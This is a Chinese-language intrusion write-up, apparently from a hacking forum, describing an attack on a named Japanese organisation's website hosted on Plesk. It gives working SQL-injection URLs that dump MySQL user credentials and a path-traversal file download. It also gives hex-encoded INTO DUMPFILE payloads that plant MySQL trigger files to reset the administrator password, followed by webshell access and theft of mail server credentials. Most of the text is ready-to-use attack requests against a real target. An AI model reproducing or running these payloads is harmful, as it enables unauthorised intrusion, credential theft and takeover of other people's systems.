trigger注入Plesk建站平台

本例文采用日本“国際情報化協力”(cicc.or.jp)作为案例,习科论坛开放下载的《SQL注入自学指南》只有A-Y篇,其中被和谐掉的Z篇即为本篇。

CICC存在显著的前台注入漏洞

/Prg/whatsnew/ja/whatsnew_details.php?cd=0+union+select+1,2,3,group_concat(user,0x3a,password,0x3a,host,0x3c62723e),5,6,7,8,9,10,11,112,13,14,15,16,17,18,19,20+from+mysql.user 

注入点为MySQL的root权限,gpc为off,可以读写文件,但web目录没有MySQL的写入权限。通过读取前台的数据库,同样的管理员密码md5加密也破解不了。

思路:既然可写入文件,那就应该可以写入trigger,执行update语句,改掉管理员密码,之后进后台拿shell。

无论取到webshell与否,完成下一步后再将管理员密码改回。
重新审计了一下整站,发现存在任意文件下载漏洞:

/japanese/include/netcommons_file.php?path=/cabinet/1/.././.././../modules/cabinet/admin/downloadnum_add.php

通过对源码的审计,并配合注入点找到一个执行mysql update操作的php:downloadnum_add.php

该文件操作对应的数据表为cicc_nc_cabinet,用于统计文件下载次数。

下一步就是构造写入trigger的TRG文件内容

TYPE=TRIGGERS
triggers='CREATE DEFINER=`admin`@`localhost` TRIGGER xx BEFORE UPDATE ON cicc_nc_cabinet\\\\nFOR EACH ROW \\\\nbegin\\\\nif NEW.file_id=2 then\\\\nupdate cicc_nc_members set password=md5(\\\\'123321\') where member_id=1;\nelseif
NEW.file_id=1 then \nupdate cicc_nc_members set password=\'5b6c27c0f38d58bfb79739a4a7fcb70e\' where member_id=1;\nend if;\nend'
sql_modes=0
definers='admin@localhost'

于是构造写入语句:

/Prg/whatsnew/ja/whatsnew_details.php?cd=12+and+1=2+union+select+0x545950453d54524947474552530a74726967676572733d2743524541544520444546494e45523d6061646d696e6040606c6f63616c686f7374602054524947474552207878204245464f524520555044415445204f4e20636963635f6e635f636162696e65745c6e464f52204541434820524f57205c6e626567696e5c6e6966204e45572e66696c655f69643d32207468656e5c6e75706461746520636963635f6e635f6d656d62657273207365742070617373776f72643d6d6435285c273132333332315c2729207768657265206d656d6265725f69643d313b5c6e656c73656966204e45572e66696c655f69643d31207468656e205c6e75706461746520636963635f6e635f6d656d62657273207365742070617373776f72643d5c2735623663323763306633386435386266623739373339613461376663623730655c27207768657265206d656d6265725f69643d313b5c6e656e642069663b5c6e656e64270a73716c5f6d6f6465733d300a646566696e6572733d2761646d696e406c6f63616c686f7374270a,'','','','','','','','','','','','','','','','','','',''+into+dumpfile+'/var/lib/mysql/cicc_en/cicc_nc_cabinet.TRG'#

同样的构造TRN文件:

TYPE=TRIGGERNAME
trigger_table=cicc_nc_cabinet

写入语句为:

/Prg/whatsnew/ja/whatsnew_details.php?cd=12+and+1=2+union+select+0x545950453d545249474745524e414d450a747269676765725f7461626c653d636963635f6e635f636162696e65740a,'','','','','','','','','','','','','','','','','','',''+into+dumpfile+'/var/lib/mysql/cicc_en/xx.TRN'#

步骤的最后一步,触发trigger,将管理员密码update掉。

/english/modules/cabinet/admin/downloadnum_add.php?file_id=2
该步骤下,管理密码被update为123321(返回空白)

同样的我们还构造了一个密码还原语句:

/english/modules/cabinet/admin/downloadnum_add.php?file_id=1

之后登录后台取得webshell,将密码还原。

Plesk平台中的邮件服务器的登录密码在数据库中发现,获得登录权限,最终被踢。